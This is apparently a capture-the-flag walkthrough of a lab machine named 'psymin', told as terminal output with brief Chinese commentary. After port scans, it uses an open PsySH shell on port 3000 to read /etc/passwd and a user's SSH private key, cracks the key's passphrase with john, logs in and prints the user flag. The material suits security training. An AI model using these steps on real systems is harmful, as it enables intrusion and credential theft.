4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.994 seconds (128.39 hosts/sec). 4 responded ❯ ip=192.168.60.133 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where scanning meets swagging. 😎 [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.133:22 Open 192.168.60.133:80 Open 192.168.60.133:3000 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 20:40 CST Initiating ARP Ping Scan at 20:40 Scanning 192.168.60.133 [1 port] Completed ARP Ping Scan at 20:40, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 20:40 Completed Parallel DNS resolution of 1 host. at 20:40, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 20:40 Scanning 192.168.60.133 [3 ports] Discovered open port 80/tcp on 192.168.60.133 Discovered open port 3000/tcp on 192.168.60.133 Discovered open port 22/tcp on 192.168.60.133 Completed SYN Stealth Scan at 20:40, 0.05s elapsed (3 total ports) Nmap scan report for 192.168.60.133 Host is up, received arp-response (0.0017s latency). Scanned at 2025-01-03 20:40:10 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 3000/tcp open ppp syn-ack ttl 64 MAC Address: 08:00:27:DA:4F:F5 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ curl $ip <!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style> html { color-scheme: light dark; } body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working. Further configuration is required.</p>
<p>For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.<br/> Commercial support is available at <a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p> </body> </html>
扫一下目录吧，看看有没有什么信息，medium字典扫不出来
我猜测大概率在3000端口上找关键
我利用nmap再次扫描一下UDP服务
发现开放了一个10000端口有个webmin服务
1 2 3 4 5 6 7 8 9 10 11
❯ nmap -sU -sV --version-intensity 0 -n -F -T4 192.168.60.133 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 20:47 CST Nmap scan report for 192.168.60.133 Host is up (0.00054s latency). Not shown: 58 open|filtered udp ports (no-response), 41 closed udp ports (port-unreach) PORT STATE SERVICE VERSION 10000/udp open webmin (http on TCP port 10000) MAC Address: 08:00:27:DA:4F:F5 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.38 seconds
Webmin 是一个基于 Web 的系统管理工具，用于简化 Unix-like 操作系统（如 Linux 和 BSD）上的系统管理任务。通过 Webmin，你可以在浏览器中远程管理和配置服务器，而不需要使用命令行。它为系统管理员提供了一个集中的界面来处理大多数系统管理任务，如用户管理、服务配置、磁盘管理、网络设置等。
❯ nc 192.168.60.133 3000 Psy Shell v0.12.4 (PHP 8.2.20 — cli) by Justin Hileman New version is available at psysh.org/psysh (current: v0.12.4, latest: v0.12.7) > echo file_get_contents('/etc/passwd') echo file_get_contents('/etc/passwd') WARNING: terminal is not fully functional Press RETURN to continue
> echo file_get_contents('/home/alfred/.ssh/id_rsa') echo file_get_contents('/home/alfred/.ssh/id_rsa') WARNING: terminal is not fully functional Press RETURN to continue
❯ vim id_rsa ❯ ssh [email protected] -i id_rsa The authenticity of host '192.168.60.133 (192.168.60.133)' can't be established. ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dOR4+6rQZf20TIk/U. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.133' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa': [email protected]: Permission denied (publickey). ❯ john hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst alfredo (id_rsa) 1g 0:00:05:29 DONE 2/3 (2025-01-03 21:52) 0.003037g/s 43.93p/s 43.93c/s 43.93C/s rosita..0987654321 Use the "--show" option to display all of the cracked passwords reliably Session completed.
连上看一下，拿到user
1 2 3 4 5 6
❯ ssh [email protected] -i id_rsa Enter passphrase for key 'id_rsa': alfred@psymin:~$ ls psysh user.txt alfred@psymin:~$ cat user.txt e12853c615d191efce15c726a0684754
